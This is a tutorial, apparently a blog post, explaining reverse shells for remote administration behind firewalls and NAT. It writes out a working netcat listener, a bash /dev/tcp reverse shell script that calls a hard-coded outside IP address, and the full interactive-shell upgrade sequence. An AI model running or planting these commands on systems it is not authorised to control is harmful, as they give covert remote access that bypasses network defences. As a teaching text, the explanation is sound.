Normally you would access a Linux host (computer) by SSH for maintenance. This can be done easily if the host is exposed to the internet or inside the same LAN as you are in. But if the host is behind a firewall and/or behind a port overloaded NAT, this is impossible.
A workaround to bypass firewalls and NATs is to make use of a reverse shell.
In this article, I will explain what a reverse shell is, how it works, and how you can make use of it to access a secure host.
Reverse vs. Normal shell
What makes a reverse shell special?
When using NAT and firewalls, you normally allow communication that is asked for to get through the firewall and be NAT'ed to the correct computer on the network. If a computer on your LAN connects to a server on the internet, the firewall will allow responses from that server to get through the firewall and into your LAN. This mechanism denies hosts out on the internet to connect to hosts on your LAN, but it permits hosts on your LAN to connect to servers out on the internet. This is normally a good thing. Because we are sure that every connection that is established to anything on the internet is initiated by a host inside your network, and is just between that host and the server on the internet.
To make an SSH connection to a host behind a firewall, that host has to take the initiative for the connection.
So, instead of having an internet-connected client connect to a server behind a firewall by using SSH, you set up a listener that waits for the server to connect to the client. Once the connection is established the client can have access to the server just like a normal SSH connection.
To make the point clear: A normal shell is initiated by a client connecting to a server. A reverse shell is initiated by a server that connects to a client that is waiting for a connection. A reverse shell can bypass firewalls
I personally use a reverse shell to be able to access my parents' computer to perform remote management. This is an example of a reverse shell for good. Reverse shells can also be used for penetration testing, and will often be used as a part of a CTF.
Like most security features - a reverse shell can be used for both good and evil. Please use this information for good.
Client firewall setup
Open port to listen for connections
To make the client computer be able to connect to the server a couple of prerequisites has to be in place.
First, you need to open the port that you want the server to connect to. If you use UFW the process is quite simple:
sudo ufw allow 1337
To confirm the changes run this command:
sudo ufw status
Status: active
To Action From
-- ------ ----
1337 DENY Anywhere
1337 (v6) DENY Anywhere (v6)
Now that the firewall allows us to listen to the connections we can continue.
Listen for connections
Netcat, often called the swiss army knife of networking can be used to establish reverse shells. To make netcat listen for connections on the port we opened on the firewall run this command
nc -lnvp 1337
Now the client is ready for incoming connections.
Server setup
Make the server initiate the connection
There are many ways to make a server initiate a reverse shell. In this guide, we will make use of bash on a Linux server. To make it easy to use this in a cronjob or by making the user take control of the start of the shell session we will create a short shell script.
vim help.sh
#! /bin/bash
bash -i >& /dev/tcp/192.46.233.165/1337 0>&1
To make it possible to execute the shell script, execute permissions has to be given to the user owning the file.
chmod u+x help.sh
Now that the script is created and made executable it can be run.
./help.sh
Now that the server has initiated the connection you should see a notification and have a shell back on the client.
Upgrade to strong shell
How to make the shell act like a normal SSH connection
Once you have established a reverse shell you can do a lot of things on the server. But normal shell usage, like the one you are used to with SSH, is not possible. Arrow keys will not work properly, autocomplete will not work, and interactive commands like running sudo will not work at all. To make things worse any typical output from vim or any outputs that will be displayed in table format will not be formatted correctly, making the experience rather unpleasant.
To be able to use the reverse shell like a normal shell you need a proper strong "interactive" shell. Before we start we need some info from the client that wants the reverse shell.
Many applications can help create a proper interactive shell. In this guide we will use python. If the server has python3 installed you can create a better shell by running this command inside the weak reverse shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
This will create an interactive shell using the pty library. This will lay the groundwork for a strong reverse shell, but normal keyboard commands will not function, and the output will not display correctly in your terminal. To enable full keyboard functionality and proper display of the output, we need to do some more stuff.
Put the reverse shell in the background by typing Ctrl+Z.
Now we can get some information on the terminal emulator we are running on the client and prepare for a better and stronger interactive shell.
To get the terminal type on your client run this command:
echo $TERM
xterm-256color
To get the formating of tables to appear correct we need the number of rows and columns in your terminal emulator. This can be found by running this command:
stty -a
speed 38400 baud; rows 47; columns 116; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = M-^?; eol2 = M-^?; swtch = <undef>; start = ^Q;
stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc
As you can read from the output, the terminal on my client has 47 rows and 116 columns. Make a note of this information for later use.
Now we can enable the terminal emulator to output raw, unformatted output from the reverse shell by running this command:
stty raw -echo
After this command is executed you cannot see what you type in your terminal because it is waiting for raw output from a process to be displayed. Put the reverse shell back into the foreground by running this command:
fg
Now the output from the reverse shell has full control over the terminal emulator.
Now we just have to make sure that the reverse shell knows what format it should output to make it display properly in your terminal.
First, you need to reset the terminal and define the correct terminal type:
. reset terminal
reset: unknown terminal type terminal
Terminal type? xterm-256color
In some operating systems you must run reset instead of reset terminal to be given the prompt you saw above. Once the terminal type is set, you just have to define the terminal window size by running this command:
stty rows 47 columns 116
Congratulations, you now have a fully functional interactive reverse shell!
WARNING! Please note that this reverse shell solution does not encrypt the traffic between your client and the server. All traffic will be transmitted in plaintext. Please use with caution.